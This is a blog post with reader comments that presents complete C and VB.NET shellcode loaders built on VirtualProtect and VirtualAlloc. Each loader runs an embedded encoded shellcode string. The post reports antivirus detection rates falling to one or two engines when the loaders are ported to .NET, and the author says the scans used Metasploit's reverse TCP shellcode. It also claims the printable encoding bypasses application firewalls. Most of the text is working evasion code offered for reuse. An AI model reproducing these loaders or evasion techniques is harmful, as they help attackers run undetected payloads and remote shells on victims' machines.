Making your Shellcode Undetectable using .NET

In the world of Windows you can execute shellcode using the VirtualAlloc and VirtualProtect Windows APIs. There are also few more APIs we can use to do the same task but different techniques involved.

VirtualProtect

This is how MSDN explains this:

Changes the protection on a region of committed pages in the virtual address space of the calling process.

[code language=”c”]
BOOL WINAPI VirtualProtect(
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flNewProtect,
_Out_ PDWORD lpflOldProtect
);
[/code]
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx

Basically we can make our shellcode memory region executable and invoke it using this API. We use the PAGE_EXECUTE_READWRITE as the memory protection constant for the flNewProtect parameter to make our page RWX.

Hereā€™s an example using C which I have implemented.

[code language=”c”]
/*
CC-By: Osanda Malith Jayathissa (@OsandaMalith)
Executing Shellcode using VirtualProtect
Website: https://osandamalith.com
https://creativecommons.org/licenses/by/3.0/
*/
# include <stdlib.h>
# include <stdio.h>
# include <string.h>
# include <windows.h>

int main() {
// Calc Shellcode
char *shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA";

DWORD oldProtect;
BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);

if (!ret) {
fprintf(stderr, "%s", "Error Occured");
return EXIT_FAILURE;
}

((void(*)(void))shellcode)();

VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);

return EXIT_SUCCESS;
}
[/code]

For all virus scans in this post I have used the metasploitā€™s reverse tcp shellcode.

This result is using the MinGW compiler
http://image.prntscr.com/image/44c5f7c95e5a4bf5a4e72ecdc03f3acd.png
https://virustotal.com/en/file/388466e6dbd4eac66ff725f91ca1fddb98f0f6b8c47a992ffe0a4dc68a0c6d60/analysis/1469980144/

However my code crashed under Visual C.

You can see the detection rate is little high because we are dealing with native code. What if we try to implement the same thing using .NET? It uses MSIL and we might have a chance of making the detection rate a bit lower.
In the world of .NET thereā€™s this battle in managed and unmanaged resources. Basically the garbage collector knows about all the managed objects and will eventually clean up all the memory and resources associated with a managed object. The garbage collector doesnā€™t know about unmanaged resources, such as files, stream and handles. So porting this native code to .NET is very challenging at first. But thanks to MSDN which helps us in figuring out a way.
We use the GCHandle.Alloc Method to allocate our shellcode region to a Pinned GCHandle Type. This will make our object pinned and will prevent the garbage collector from moving the object. Pinning an object prevents the garbage collector from moving it around in memory.
[code language=”vb”]
Dim GC As GCHandle = GCHandle.Alloc(shell, GCHandleType.Pinned)
Dim hAddr As Integer = GC.AddrOfPinnedObject.ToInt32
GC.Free()
[/code]
We use a function pointer in C to execute our shellcode. Likewise in .NET we have to use an unmananaged Function pointer.
[code language=”vb”]
<UnmanagedFunctionPointer(CallingConvention.Cdecl)>
Public Delegate Function ExecuteDelegate() As Integer
[/code]
Next we use Marshal.GetDelegateForFunctionPointer which converts an unmanaged function pointer to a delegate and it will return us a delegate instance that can be casted to the appropriate delegate type. We can use DirectCast for this purpose and execute our shellcode.
[code language=”vb”]
DirectCast(Marshal.GetDelegateForFunctionPointer(baseAddr, GetType(ExecuteDelegate)), ExecuteDelegate)()
[/code]

Hereā€™s the full source code.
[code language=”vb”]
#If AFAC Then
CC-By: Osanda Malith Jayathissa (@OsandaMalith)
Executing Shellcode using VirtualProtect in VB.NET
Website: https://osandamalith.com
https://creativecommons.org/licenses/by/3.0/
#End If

Imports System
Imports System.Runtime.InteropServices
Public Class Form1

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
‘ Calc Shellcode
Dim shellcode As String = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA"
Dim shell_array(shellcode.Length – 1) As Byte
Dim i As Integer = 0
Do
shell_array(i) = Convert.ToByte(shellcode(i))
i = i + 1

Loop While i < shellcode.Length
Dim oldProtect As UInt32

VirtualProtect(VarPtr(shell_array), New UIntPtr(CType(shell_array.Length, UInt32)), MemoryProtection.EXECUTE_READWRITE, oldProtect)
Try
DirectCast(Marshal.GetDelegateForFunctionPointer(VarPtr(shell_array), GetType(ExecShellcode)), ExecShellcode)()
Finally
VirtualProtect(VarPtr(shell_array), New UIntPtr(CType(shell_array.Length, UInt32)), oldProtect, oldProtect)
End Try
End Sub

Function VarPtr(ByVal shell As Object) As Integer
Dim GC As GCHandle = GCHandle.Alloc(shell, GCHandleType.Pinned)
Dim hAddr As Integer = GC.AddrOfPinnedObject.ToInt32
GC.Free()
Return hAddr
End Function

<DllImport("kernel32.dll", CharSet:=CharSet.None, ExactSpelling:=False, SetLastError:=True)>
Private Shared Function VirtualProtect(
ByVal lpAddress As IntPtr,
ByVal dwSize As UIntPtr,
ByVal flNewProtect As UInt32,
<Out()> ByRef lpflOldProtect As UInt32) As Boolean
End Function

<UnmanagedFunctionPointer(CallingConvention.Cdecl)>
Public Delegate Function ExecShellcode() As Integer

<Flags>
Public Enum AllocationType As UInteger
COMMIT = 4096
RESERVE = 8192
RESET = 524288
TOP_DOWN = 1048576
WRITE_WATCH = 2097152
PHYSICAL = 4194304
LARGE_PAGES = 536870912
End Enum

Public Enum FreeType As UInteger
MEM_DECOMMIT = 16384
MEM_RELEASE = 32768
End Enum

<Flags>
Public Enum MemoryProtection As UInteger
NOACCESS = 1
[READONLY] = 2
READWRITE = 4
WRITECOPY = 8
EXECUTE = 16
EXECUTE_READ = 32
EXECUTE_READWRITE = 64
EXECUTE_WRITECOPY = 128
GUARD_Modifierflag = 256
NOCACHE_Modifierflag = 512
WRITECOMBINE_Modifierflag = 1024
End Enum
End Class
[/code]

Now the detection rate is just 2.
http://image.prntscr.com/image/4cb51a1bfe8a490394d4a1fe7b10f600.png

https://virustotal.com/en/file/638050acc67b742ca7603baa26f6b5b62835955b63f629c8b9b72f74d9546742/analysis/1469982161/

VirtualAlloc

This is how MSDN explains this API.

Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero.

[code language=”c”]
LPVOID WINAPI VirtualAlloc(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
[/code]
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx

We can allocate RWX memory using this API and then copy our shellcode to the allocated memory region and then invoke it.
Hereā€™s an example using C.
[code language=”c”]
/*
CC-By: Osanda Malith Jayathissa (@OsandaMalith)
Executing Shellcode using VirtualAlloc
Website: https://osandamalith.com
https://creativecommons.org/licenses/by/3.0/
*/
# include <stdlib.h>
# include <stdio.h>
# include <string.h>
# include <windows.h>

int main(void) {
// Calc Shellcode
char *shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA";

BOOL *exec = VirtualAlloc(0, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!exec) {
fprintf(stderr, "%s", "Error Occured");
return EXIT_FAILURE;
}

memcpy(exec, shellcode, strlen(shellcode));

((void (*)())exec)();

VirtualFree(exec, 0, MEM_RELEASE);

return EXIT_SUCCESS;
}
[/code]
Once compiled in Visual C you can see the detection rate is very high in this case. It’s 16/54.
http://image.prntscr.com/image/20b39d2578c2492681b44f5edc3ee0f4.png

https://virustotal.com/en/file/c6c198a79674cd65333e7202f003d9c3458422e995f53db3bbb24d99ed6b130c/analysis/1469980854/

In MinGW the detection rate is a bit low compared to Visual C.
http://image.prntscr.com/image/0c2039be774145df96071d2747e48e71.png

https://virustotal.com/en/file/76b6f690992b63017ad7251101de2e1efa3bbd8e564ca54d6d9a905ab5f7cf5c/analysis/1470017283/

When we are porting this to .NET the same things apply as Iā€™ve said before. Instead of memcpy we use Marshal.Copy to copy our shellcode array to unmanaged memory allocated by VirtualAlloc.
Hereā€™s the full source code.
[code language=”vb”]
#If AFAC Then
CC-By: Osanda Malith Jayathissa (@OsandaMalith)
Executing Shellcode using VirtualAlloc in VB.NET
Website: https://osandamalith.com
https://creativecommons.org/licenses/by/3.0/
#End If

Imports System
Imports System.Runtime.InteropServices

Public Class Form1

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
‘ Calc Shellcode
Dim shellcode As String = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA"
Dim shell_array(shellcode.Length – 1) As Byte
Dim i As Integer = 0
Do
shell_array(i) = Convert.ToByte(shellcode(i))
i = i + 1

Loop While i < shellcode.Length

Dim baseAddr As IntPtr = VirtualAlloc(IntPtr.Zero, New UIntPtr(CType(shell_array.Length, UInt32)), AllocationType.COMMIT Or AllocationType.RESERVE, MemoryProtection.EXECUTE_READWRITE)
Try
Marshal.Copy(shell_array, 0, baseAddr, CInt(shell_array.Length))
DirectCast(Marshal.GetDelegateForFunctionPointer(baseAddr, GetType(ExecuteDelegate)), ExecuteDelegate)()
Finally
VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE)
End Try
End Sub

<DllImport("kernel32.dll", CharSet:=CharSet.None, ExactSpelling:=False, SetLastError:=True)>
Private Shared Function VirtualAlloc(
ByVal lpAddress As IntPtr,
ByVal dwSize As UIntPtr,
ByVal flAllocationType As AllocationType,
ByVal flProtect As MemoryProtection) As IntPtr
End Function

<DllImport("kernel32.dll", CharSet:=CharSet.None, ExactSpelling:=False)>
Private Shared Function VirtualFree(
ByVal lpAddress As IntPtr,
ByVal dwSize As UInteger,
ByVal dwFreeType As FreeType) As Boolean
End Function

<Flags>
Public Enum AllocationType As UInteger
COMMIT = 4096
RESERVE = 8192
RESET = 524288
TOP_DOWN = 1048576
WRITE_WATCH = 2097152
PHYSICAL = 4194304
LARGE_PAGES = 536870912
End Enum

<UnmanagedFunctionPointer(CallingConvention.Cdecl)>
Public Delegate Function ExecuteDelegate() As Integer

Public Enum FreeType As UInteger
MEM_DECOMMIT = 16384
MEM_RELEASE = 32768
End Enum

<Flags>
Public Enum MemoryProtection As UInteger
NOACCESS = 1
[READONLY] = 2
READWRITE = 4
WRITECOPY = 8
EXECUTE = 16
EXECUTE_READ = 32
EXECUTE_READWRITE = 64
EXECUTE_WRITECOPY = 128
GUARD_Modifierflag = 256
NOCACHE_Modifierflag = 512
WRITECOMBINE_Modifierflag = 1024
End Enum
End Class
[/code]
When we look at the detection rate you can see only 1 which is a very low detection rate.
http://image.prntscr.com/image/34229b9d53e44ec7bb078f8990ace22b.png

https://virustotal.com/en/file/d21c64b0326994214906ddd9387c3590d2d7bd5367c0bbd5b35377c4d994cb0a/analysis/1469982240/

Since we are using printable ASCII characters we can bypass application firewalls which operate at layer 7 of the OSI stack. Usually they detect non printable ASCII characters such as 00 FF.

You can find the full source code for both at my GitHub: https://github.com/OsandaMalith/VBShellCode

5 thoughts on “Making your Shellcode Undetectable using .NET

  1. What is the type of the shell code used in the code ?.
    what tool is used to generate it ?

    Thank you in advance : )

  2. Can you make a video of how you generated the shell code?

    Thanks for the post.

  3. Can not get Metasploit framework for windows 32 bits, is there any other tool for windows that generates that shellcode format?

Leave a Reply